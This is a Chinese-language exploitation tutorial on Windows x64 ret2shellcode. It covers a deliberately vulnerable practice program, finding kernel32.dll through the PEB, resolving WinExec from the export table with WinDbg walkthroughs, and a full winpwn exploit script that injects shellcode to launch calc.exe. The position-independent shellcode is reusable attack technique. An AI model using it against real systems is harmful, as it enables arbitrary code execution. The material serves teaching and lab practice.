目录
Introduce
与 Linux 不同,在 Windows 中,应用程序不能直接访问系统调用
相反,它们使用来自 Windows API (WinAPI) 的函数
WinAPI 内部调用来自 Native API (NtAPI) 的函数,Native API 反过来使用系统调用
ret2shellcode
示例代码
#include <windows.h>
#include <stdint.h>
uint8_t sc[0x1000];
int main()
{
uint64_t oldp;
VirtualProtect(sc, 0x1000, 0x40, &oldp);
read(0, sc, 0x1000);
((void(*)())sc)();
return 0;
}
Analysis
一般在 Windows 下习惯用弹出计算器的方式来表达攻击成功
弹出计算器用 C 语言写的话就是如下函数
WinExec("calc.exe", 5);
其实也可以写成这样
WinExec("calc", 5);
其中 WinExec 函数来自于 kernel32.dll
对于 Windows xp 来讲,dll 加载的地址空间貌似都是固定的
但是对于现在的 Win7、Win10 等系统来讲,这个地址会随着每次开机而改变
WinExec 函数偏移可以用 dumpbin 工具直接获取,也可靠 shellcode 获取
Two ways to get DLLBase
先讨论 dll 基址,我们也有两种方法来获得这个基址
-
用工具(如 LORDPE)去获取某一进程的 kernel32.dll
因为每个程序使用的都是同一地址空间的 dll,所以随便找一个进程
若是他的 kernel32.dll 在 0x7ffc5ba40000
那么我们将要攻击的程序加载的 kernel32.dll 也在 0x7ffc5ba40000
于是我们可以构造 shellcode (x64) 如下
windows 中传参方式是 rcx、rdx、......
WinExec = 0x0005E800 dllbase = 0x7FFC5BA40000 calc_pd = asm(''' xor rcx,rcx push rcx mov rcx, 0x6578652E636C6163 push rcx mov rcx,rsp mov rdx, 1 mov rax, %s add rsp, 0x48 call rax ''' % (dllbase + WinExec))
这里
add rsp, 0x48
的作用是对齐地址空间因为 WinExec 函数里面会有 movaps 指令,不对齐地址的话是不能成功利用的
-
依靠 TEB 来获取 kernel32.dll(动态获取 kernel32.dll)
在 Vista 版本之前的 Windows 系统中
InInitializationOrderModuleList 中的前两个 dll 是 ntdll.dll 和 kernel32.dll
但对于 Vista 及之后的版本,第二个 dll 被更改为 kernelbase.dll
InMemoryOrderModuleList 中的第二个和第三个 dll 一直是 ntdll.dll 和 kernel32.dll
这对所有 Windows 版本都有效,而且是首选的方法,因为它更具可移植性
因此,要找到 kernel32.dll 的地址,我们必须遍历几个内存结构,
具体流程写到 Others 里了,步骤如下:
-
32 位汇编流程
Get address of PEB with fs:0x30 Get address of PEB_LDR_DATA (offset 0x0C) Get address of the first list entry in the InMemoryOrderModuleList (offset 0x14) Get address of the second (pwn.exe) list entry in the InMemoryOrderModuleList (offset 0x00) Get address of the third (ntdll.dll) list entry in the InMemoryOrderModuleList (offset 0x00) Get the base address of kernel32.dll (offset 0x10)
-
32 位汇编如下
mov ebx, fs:0x30 ; Get pointer to PEB mov ebx, [ebx + 0x0C] ; Get pointer to PEB_LDR_DATA mov ebx, [ebx + 0x14] ; Get pointer to first entry in InMemoryOrderModuleList mov ebx, [ebx] ; Get pointer to second (pwn.exe) entry in InMemoryOrderModuleList mov ebx, [ebx] ; Get pointer to third (ntdll.dll) entry in InMemoryOrderModuleList mov ebx, [ebx + 0x10] ; Get kernel32.dll base address
-
64 位汇编流程
Get address of PEB with gs:0x60 Get address of PEB_LDR_DATA (offset 0x18) Get address of the first list entry in the InMemoryOrderModuleList (offset 0x20) Get address of the second (pwn.exe) list entry in the InMemoryOrderModuleList (offset 0x00) Get address of the third (ntdll.dll) list entry in the InMemoryOrderModuleList (offset 0x00) Get the base address of kernel32.dll (offset 0x20)
-
64 位汇编如下
mov rbx, gs:0x60 ; Get pointer to PEB mov rbx, [rbx + 0x18] ; Get pointer to PEB_LDR_DATA mov rbx, [rbx + 0x20] ; Get pointer to first entry in InMemoryOrderModuleList mov rbx, [rbx] ; Get pointer to first (pwn.exe) entry in InMemoryOrderModuleList mov rbx, [rbx] ; Get pointer to second (ntdll.dll) entry in InMemoryOrderModuleList mov rbx, [rbx + 0x20] ; Get kernel32.dll base address
按这个思路写了一个简化版的自动获取基址的 shellcode (x64) 如下
#!/usr/bin/env python # -*- coding: utf-8 -*- from winpwn import * context.arch = 'amd64' context.log_level = 'debug' debug = 1 if debug == 1: p = process(r'C:\Users\Mechrevo\Desktop\12.exe') else: p = remote('', ) WinExec = 0x0005E800 pd = "\x65\x48\x8b\x04\x25\x60\x00\x00\x00" # mov rax, gs:0x60 pd += asm(''' mov rax, [rax + 0x18] mov rax, [rax + 0x20] mov rax, [rax] mov rax, [rax] mov rax, [rax + 0x20] xor rcx,rcx push rcx mov rcx, 0x6578652E636C6163 push rcx mov rcx,rsp mov rdx, 1 add rax, %s add rsp, 0x48 call rax ''' % WinExec) p.send(pd) p.interactive()
-
Two ways to get Function Address
-
dumpbin 工具直接获取,但是你得有目标主机的 kernel32.dll
dumpbin.exe /exports c:\windows\system32\kernel32.dll | grep WinExec
我主机装了 Cygwin,所以这里能用 grep 命令
-
动态获取函数地址
首先我们得有封装该函数的 dll 基址,这里还是以 kernel32.dll 来举例
从 DOS 头开始,解析 _IMAGE_DOS_HEADER 结构体
我们设 rbx 为 kernel32.dll 的基地址,则在本次样例中 rbx = 0x7ffc5ba40000
我们只需要了解 e_lfanew 字段是指向 PE 头的,该字段在 DOS 头偏移 0x3c 的位置
0:001> ?kernel32 Evaluate expression: 140721845960704 = 00007ffc`5ba40000 0:001> dt _IMAGE_DOS_HEADER 00007ffc`5ba40000 ntdll!_IMAGE_DOS_HEADER +0x000 e_magic : 0x5a4d +0x002 e_cblp : 0x90 +0x004 e_cp : 3 +0x006 e_crlc : 0 +0x008 e_cparhdr : 4 +0x00a e_minalloc : 0 +0x00c e_maxalloc : 0xffff +0x00e e_ss : 0 +0x010 e_sp : 0xb8 +0x012 e_csum : 0 +0x014 e_ip : 0 +0x016 e_cs : 0 +0x018 e_lfarlc : 0x40 +0x01a e_ovno : 0 +0x01c e_res : [4] 0 +0x024 e_oemid : 0 +0x026 e_oeminfo : 0 +0x028 e_res2 : [10] 0 +0x03c e_lfanew : 0n232
之前的 kernel32.dll 基址加上 e_lfanew 字段的偏移(0n 开头表示十进制)是指向 PE 头的指针
设 PE 头指针偏移为 rax,则获取 PE 头指针偏移的汇编表示为
movsxd rdx, [rbx+0x3c]
(rdx = 0n232)movsxd 的作用的扩展 32 位的数据带符号扩展为 64 位
所以获取 PE 头指针的汇编表示为
add rdx, rbx
(rdx = 0x7ffc5ba400e8)获取了 PE 头指针,我们即可以使用 Windbg 解析 PE 头的 _IMAGE_NT_HEADERS64 结构体
Ps:32 位下,该结构体名为 _IMAGE_NT_HEADERS
0:001> dt _IMAGE_NT_HEADERS64 kernel32+0n232 ntdll!_IMAGE_NT_HEADERS64 +0x000 Signature : 0x4550 +0x004 FileHeader : _IMAGE_FILE_HEADER +0x018 OptionalHeader : _IMAGE_OPTIONAL_HEADER64
_IMAGE_FILE_HEADER 是一个结构体,包含代码数目、机器类型以及特征等信息
而我们这里需要使用的结构体是 _IMAGE_OPTIONAL_HEADER64
0:001> dt _IMAGE_OPTIONAL_HEADER64 kernel32+0n232+0x18 ntdll!_IMAGE_OPTIONAL_HEADER64 +0x000 Magic : 0x20b +0x002 MajorLinkerVersion : 0xe '' +0x003 MinorLinkerVersion : 0xf '' +0x004 SizeOfCode : 0x74800 +0x008 SizeOfInitializedData : 0x38a00 +0x00c SizeOfUninitializedData : 0 +0x010 AddressOfEntryPoint : 0x17c70 +0x014 BaseOfCode : 0x1000 +0x018 ImageBase : 0x00007ffc`5ba40000 +0x020 SectionAlignment : 0x1000 +0x024 FileAlignment : 0x200 +0x028 MajorOperatingSystemVersion : 0xa +0x02a MinorOperatingSystemVersion : 0 +0x02c MajorImageVersion : 0xa +0x02e MinorImageVersion : 0 +0x030 MajorSubsystemVersion : 0xa +0x032 MinorSubsystemVersion : 0 +0x034 Win32VersionValue : 0 +0x038 SizeOfImage : 0xb2000 +0x03c SizeOfHeaders : 0x400 +0x040 CheckSum : 0xbbbc4 +0x044 Subsystem : 3 +0x046 DllCharacteristics : 0x4160 +0x048 SizeOfStackReserve : 0x40000 +0x050 SizeOfStackCommit : 0x1000 +0x058 SizeOfHeapReserve : 0x100000 +0x060 SizeOfHeapCommit : 0x1000 +0x068 LoaderFlags : 0 +0x06c NumberOfRvaAndSizes : 0x10 +0x070 DataDirectory : [16] _IMAGE_DATA_DIRECTORY
在这里我们需要使用的结构体是偏移为 0x70 的 DataDirectory,它是函数导出表的偏移
则 DataDirectory 相对于 _IMAGE_NT_HEADERS64 的偏移为 0x18 + 0x70 = 0x88
下面再解释几个较重要的结构体信息:
AddressOfEntryPoint [0x010] : exe/dll 开始执行代码的地址,即入口点地址 ImageBase [0x018] : DLL加载到内存中的地址,即映像基址 DataDirectory [0x070] : 导入或导出函数等信息
接着分析 _IMAGE_DATA_DIRECTORY 结构的 DataDirectory 字段
关于 DataDirectory 字段的详细解释写到了 Others 里
0:001> dt _IMAGE_DATA_DIRECTORY kernel32+0n232+0x18+0x70 ntdll!_IMAGE_DATA_DIRECTORY +0x000 VirtualAddress : 0x8ec80 +0x004 Size : 0xdd40 0:001> dt _IMAGE_DATA_DIRECTORY kernel32+0n232+0x18+0x78 ntdll!_IMAGE_DATA_DIRECTORY +0x000 VirtualAddress : 0x9c9c0 +0x004 Size : 0x744 0:001> dt _IMAGE_DATA_DIRECTORY kernel32+0n232+0x18+0x80 ntdll!_IMAGE_DATA_DIRECTORY +0x000 VirtualAddress : 0xb0000 +0x004 Size : 0x520
我们现在可以获取到 DataDirectory 结构中的 VirtualAddress 地址
所以获取 DataDirectory[0] 的汇编表示为
movsxd rdx, [rdx+0x88] ; 获取DataDirectory[0]中VirtualAddress的偏移 add rdx, rbx ; 获取VirtualAddress的真实地址
VirtualAddress 对应的是 _IMAGE_EXPORT_DIRECTORY 结构体,我们看下里面有什么
Ps:尝试了很多办法,都没有办法在 Windbg 里用 dt 指令查看这个结构体
只搜到了 32 位下可以靠 ole32.dll 来引入这个结构体,再用 Windbg 查看
所以这里直接贴结构体了,毕竟我的示例是 64 位的,ole32.dll 连 dll 注入都不行
IMAGE_EXPORT_DIRECTORY : 导出表,共40字节 +0x000 DWORD Characteristics : 未使用,总是定义为0 +0x004 DWORD TimeDateStamp : 文件生成时间 +0x008 WORD MajorVersion : 未使用,总是定义为0 +0x00A WORD MinorVersion : 未使用,总是定义为0 +0x00C DWORD Name : 模块的真实名称 +0x010 DWORD Base : 基数,加上序数就是函数地址数组的索引值 +0x014 DWORD NumberOfFunctions : 导出函数的总数 +0x018 DWORD NumberOfNames : 以名称方式导出的函数的总数 +0x01C DWORD AddressOfFunctions : 指向输出函数地址的RVA +0x020 DWORD AddressOfNames : 指向输出函数名字的RVA +0x024 DWORD AddressOfNameOrdinals : 指向输出函数序号的RVA
接着我们需要关心 3 个数据结构
AddressOfFunctions [0x01c] : 指向一个 DWORD 类型的数组,每个数组元素指向一个函数地址 AddressOfNames [0x020] : 指向一个 DWORD 类型的数组,每个数组元素指向一个函数名称的字符串 AddressOfNameOrdinals [0x024] : 指向一个 WORD 类型的数组,每个数组元素表示相应函数的排列序号
所以获取 AddressOfNames 偏移的汇编表示为
movsxd rsi, [rdx+0x20]
(rsi = 0x9061c)则 AddressOfNames 的真实地址我们存到 rsi 中,得到汇编
add rsi, rbx
我们可以看到 AddressOfNames 数组内部部分如下所示:
0:000> dd kernel32+0x9061c 00007ffc`5bad061c 00092c57 00092c90 00092cc3 00092cd2 00007ffc`5bad062c 00092ce7 00092cf0 00092cf9 00092d0a 00007ffc`5bad063c 00092d1b 00092d60 00092d86 00092da5 00007ffc`5bad064c 00092dc4 00092dd1 00092de4 00092dfc 00007ffc`5bad065c 00092e17 00092e2c 00092e49 00092e88 00007ffc`5bad066c 00092ec9 00092edc 00092ee9 00092f03 00007ffc`5bad067c 00092f21 00092f58 00092f9d 00092fe8 00007ffc`5bad068c 00093043 00093098 000930eb 00093140 0:000> da kernel32+00092c57 00007ffc`5bad2c57 "AcquireSRWLockExclusive" 0:000> da kernel32+00092c90 00007ffc`5bad2c90 "AcquireSRWLockShared" 0:000> da kernel32+00092cc3 00007ffc`5bad2cc3 "ActivateActCtx" 0:000> da kernel32+00092cd2 00007ffc`5bad2cd2 "ActivateActCtxWorker"
AddressOfNameOrdinals 里的序号是从 0 开始的,内存如下所示:
0:000> dw kernel32+00091f90 00007ffc`5bad1f90 0000 0001 0002 0003 0004 0005 0006 0007 00007ffc`5bad1fa0 0008 0009 000a 000b 000c 000d 000e 000f 00007ffc`5bad1fb0 0010 0011 0012 0013 0014 0015 0016 0017 00007ffc`5bad1fc0 0018 0019 001a 001b 001c 001d 001e 001f 00007ffc`5bad1fd0 0020 0021 0022 0023 0024 0025 0026 0027 00007ffc`5bad1fe0 0028 0029 002a 002b 002c 002d 002e 002f 00007ffc`5bad1ff0 0030 0031 0032 0033 0034 0035 0036 0037 00007ffc`5bad2000 0038 0039 003a 003b 003c 003d 003e 003f
之后获取函数的 shellcode (x64) 如下:
xor rcx, rcx ; 类似int i = 0; Get_Func: mov r10, 0x00636578456e6957 ; WinExec inc rcx ; i++; movsxd rax, [rsi] ; 获取AddressOfNames偏移 add rsi, 4 ; 下次 获取字符串地址偏移的 地址 add rax, rbx ; 获取AddressOfNames地址 cmp [rax], r10 ; 比较AddressOfNames中的字符串是否等于WinExec jnz Get_Func movsxd rsi, [rdx + 0x24] ; 获取AddressOfNameOrdinals偏移 add rsi, rbx ; 获取AddressOfNameOrdinals地址 dec cx ; 首项是0,之前的计数要减1 mov cx, [rsi + rcx * 2] ; 得到函数索引值 movsxd rsi, [rdx + 0x1c] ; 获取AddressOfFunctions偏移 add rsi, rbx ; 获取AddressOfFunctions地址 movsxd rdx, [rsi + rcx * 4] ; WinExec的偏移 add rdx, rbx ; rdx = WinExec
这里的汇编注释可以在 Pycharm 中用正则表达式
(\s*)\;(.*)
匹配然后去掉
EXP (x64)
#!/usr/bin/env python
# -*- coding: utf-8 -*-
from winpwn import *
context.arch = 'amd64'
context.log_level = 'debug'
debug = 1
if debug == 1:
p = process(r'C:\Users\Mechrevo\Desktop\12.exe')
else:
p = remote('', )
# windbg.attach(p, script='bp 0x407980;bp 0x4079d2;gu')
# Get kernel32.dll base
pd = "\x65\x48\x8b\x1c\x25\x60\x00\x00\x00" # mov rbx, gs:0x60
pd += asm('''
mov rbx, [rbx + 0x18]
mov rbx, [rbx + 0x20]
mov rbx, [rbx]
mov rbx, [rbx]
mov rbx, [rbx + 0x20]
movsxd rdx, [rbx + 0x3c]
add rdx, rbx
movsxd rdx, [rdx + 0x88]
add rdx, rbx
movsxd rsi, [rdx + 0x20]
add rsi, rbx
''')
# Get address of WinExec
pd += asm('''
xor rcx, rcx
Get_Func:
mov r10, 0x00636578456e6957
inc rcx
movsxd rax, [rsi]
add rsi, 4
add rax, rbx
cmp [rax], r10
jnz Get_Func
movsxd rsi, [rdx + 0x24]
add rsi, rbx
dec cx
mov cx, [rsi + rcx * 2]
movsxd rsi, [rdx + 0x1c]
add rsi, rbx
movsxd rdx, [rsi + rcx * 4]
add rdx, rbx
''')
# WinExec("calc.exe", 5)
pd += asm('''
mov r10, rdx
mov rcx, 0x6578652E636C6163
push 0
push rcx
mov rcx, rsp
mov rdx, 5
add rsp, 0x48
call r10
''')
p.send(pd)
p.interactive()
效果:
Others
-
在 Windbg 中查找 kernel32.dll 基地址的方法如下
-
先找到 PEB 中 Ldr 结构体的地址
0:001> !peb PEB at 0000000000380000 InheritedAddressSpace: No ReadImageFileExecOptions: No BeingDebugged: Yes ImageBaseAddress: 0000000000400000 NtGlobalFlag: 0 NtGlobalFlag2: 0 Ldr 00007ffc5c0253c0
可以得到地址为 0x7ffc5c0253c0
-
然后查看该地址处的 _PEB_LDR_DATA 结构体内容
主要是为了找到 InMemoryOrderModuleList 链表的地址
0:000> dt _PEB_LDR_DATA 00007ffc5c0253c0 ntdll!_PEB_LDR_DATA +0x000 Length : 0x58 +0x004 Initialized : 0x1 '' +0x008 SsHandle : (null) +0x010 InLoadOrderModuleList : _LIST_ENTRY [ 0x00000000
008a3e20 - 0x00000000
008bcfc0 ] +0x020 InMemoryOrderModuleList : _LIST_ENTRY [ 0x00000000008a3e30 - 0x00000000
008bcfd0 ] ...... -
点击 InMemoryOrderModuleList 查看地址
0x7ffc5c0253e0 是链表首节点
所以内存中加载的第一个 dll 所对应的地址就是 Flink 上的地址,即 0x8f3e30
0:000> dx -r1 (*((ntdll!_LIST_ENTRY *)0x7ffc5c0253e0)) (*((ntdll!_LIST_ENTRY *)0x7ffc5c0253e0)) [Type: _LIST_ENTRY] [+0x000] Flink : 0x8a3e30 [Type: _LIST_ENTRY *] [+0x008] Blink : 0x8bcfd0 [Type: _LIST_ENTRY *]
-
查看 0x8a3e30 上对应的 dll 名称,发现是我们调试的程序名
注意该地址需要减去 0x10 再查看
主要原因是 InMemoryOrderLinks 的指针指向的是下一个 _LDR_DATA_TABLE_ENTRY 的
InMemoryOrderLinks(32 位下偏移为 0x08,64 位下偏移为 0x10)
所以需要该地址减去 0x10 才是正确的结构体基址
0:000> dt _LDR_DATA_TABLE_ENTRY 0x8a3e30-0x10 ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000
008a3c90 - 0x00007ffc
5c0253d0 ] +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000008a3ca0 - 0x00007ffc
5c0253e0 ] +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x0000000000000000 - 0x00000000
00000000 ] +0x030 DllBase : 0x00000000`00400000 Void +0x038 EntryPoint : 0x00000000`004014f0 Void +0x040 SizeOfImage : 0x176000 +0x048 FullDllName : _UNICODE_STRING "C:\Users\Mechrevo\Desktop\12.exe" +0x058 BaseDllName : _UNICODE_STRING "12.exe" -
点击 3 中的 0x8a3e30 地址,查看下一个链表结构体
0:000> dx -r1 ((ntdll!_LIST_ENTRY *)0x8a3e30) ((ntdll!_LIST_ENTRY *)0x8a3e30) : 0x8a3e30 [Type: _LIST_ENTRY *] [+0x000] Flink : 0x8a3ca0 [Type: _LIST_ENTRY *] [+0x008] Blink : 0x7ffc5c0253e0 [Type: _LIST_ENTRY *]
再查看 Flink 地址上的 dll 名称,发现该 dll 是 ntdll.dll
0:000> dt _LDR_DATA_TABLE_ENTRY 0x8a3ca0-0x10 ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000
008a43b0 - 0x00000000
008a3e20 ] +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000008a43c0 - 0x00000000
008a3e30 ] +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000008a49c0 - 0x00007ffc
5c0253f0 ] +0x030 DllBase : 0x00007ffc`5bec0000 Void +0x038 EntryPoint : (null) +0x040 SizeOfImage : 0x1f0000 +0x048 FullDllName : _UNICODE_STRING "C:\Windows\SYSTEM32\ntdll.dll" +0x058 BaseDllName : _UNICODE_STRING "ntdll.dll" -
点击 5 中的 0x8a3ca0 地址,查看下一个链表结构体
0:000> dx -r1 ((ntdll!_LIST_ENTRY *)0x8a3ca0) ((ntdll!_LIST_ENTRY *)0x8a3ca0) : 0x8a3ca0 [Type: _LIST_ENTRY *] [+0x000] Flink : 0x8a43c0 [Type: _LIST_ENTRY *] [+0x008] Blink : 0x8a3e30 [Type: _LIST_ENTRY *]
再查看 Flink 地址上的 dll 名称,发现该 dll 是 KERNEL32.DLL
0:000> dt _LDR_DATA_TABLE_ENTRY 0x8a43c0-0x10 ntdll!_LDR_DATA_TABLE_ENTRY +0x000 InLoadOrderLinks : _LIST_ENTRY [ 0x00000000
008a49a0 - 0x00000000
008a3c90 ] +0x010 InMemoryOrderLinks : _LIST_ENTRY [ 0x00000000008a49b0 - 0x00000000
008a3ca0 ] +0x020 InInitializationOrderLinks : _LIST_ENTRY [ 0x00000000008a46c0 - 0x00000000
008a49c0 ] +0x030 DllBase : 0x00007ffc`5ba40000 Void +0x038 EntryPoint : 0x00007ffc`5ba57c70 Void +0x040 SizeOfImage : 0xb2000 +0x048 FullDllName : _UNICODE_STRING "C:\Windows\System32\KERNEL32.DLL" +0x058 BaseDllName : _UNICODE_STRING "KERNEL32.DLL" -
至此,KERNEL32.DLL 已成功找到,且基地址为 0x00007ffc`5ba40000
-
-
DataDirectory 结构体一览
DataDirectory[0] = EXPORT Directory DataDirectory[1] = IMPORT Directory DataDirectory[2] = RESOURCE Directory DataDirectory[3] = EXCEPTION Directory DataDirectory[4] = SECURITY Directory DataDirectory[5] = BASERELOC Directory DataDirectory[6] = DEBUG Directory DataDirectory[7] = COPYRIGHT Directory DataDirectory[8] = GLOBALPTR Directory DataDirectory[9] = TLS Directory DataDirectory[A] = LOAD_CONFIG Directory DataDirectory[B] = BOUND_IMPORT Directory DataDirectory[C] = IAT Directory DataDirectory[D] = DELAY_IMPORT Directory DataDirectory[E] = COM_DESCRIPTOR Directory DataDirectory[F] = Reserved Directory
参考链接
https://idafchev.github.io/exploit/2017/09/26/writing_windows_shellcode.html